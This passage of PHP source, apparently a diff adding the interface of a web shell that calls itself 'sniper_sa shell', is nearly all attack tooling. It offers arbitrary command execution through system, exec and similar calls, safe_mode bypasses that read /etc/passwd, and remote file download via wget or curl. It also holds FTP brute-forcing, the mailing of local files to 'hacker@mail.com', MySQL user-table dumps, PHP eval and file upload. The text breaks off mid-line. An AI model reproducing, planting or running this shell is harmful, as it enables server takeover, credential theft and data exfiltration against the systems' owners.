if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } + + +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text208'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\"> + <option value=\"system\" <? if ($method==\"system\") { echo \"selected\"; } ?>system</option> + <option value=\"passthru\" <? if ($method==\"passthru\") { echo \"selected\"; } ?>passthru</option> + <option value=\"exec\" <? if ($method==\"exec\") { echo \"selected\"; } ?>exec</option> + <option value=\"shell_exec\" <? if ($method==\"shell_exec\") { echo \"selected\"; } ?>shell_exec</option> + <option value=\"popen\" <? if ($method==\"popen\") { echo \"selected\"; } ?>popen</option> + <option value=\"proc_open\" <? if ($method==\"proc_open\") { echo \"selected\"; } ?>proc_open</option> + </select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text3'].$arrow."</b>".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text223'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\"> + <option value=\"file\" <? if ($method==\"file\") { echo \"selected\"; } ?> file</option> + <option value=\"fread\" <? if ($method==\"fread\") { echo \"selected\"; } ?> fread</option> + <option value=\"show_source\" <? if ($method==\"show_source\") { echo \"selected\"; } ?> show_source</option> + <option value=\"readfile\" <? if ($method==\"readfile\") { echo \"selected\"; } ?> readfile</option> + </select>".in('hidden','file',0,$dir).ws(2)."<b>".$lang[$language.'_text202'].$arrow."</b>".in('text','file',41,'/etc/passwd').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>"); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysqlb').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'�� ��� ���� �������� �������� filename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $table_up1.div_title($lang[$language.'_text211'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text221'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','funzip',78,"$dir/file")); +echo sr(15,"<b>".$lang[$language.'_text65'].$arrow."</b>",in('text','fzip',105,"$dir/sploitz.zip").ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text219'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','filefrom',78,'http://website.com/file.txt')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('text','fileto',105,filename_.php).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; + +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; + +} + +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode){ + +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"sniper_sa.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from sniper_sa shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select 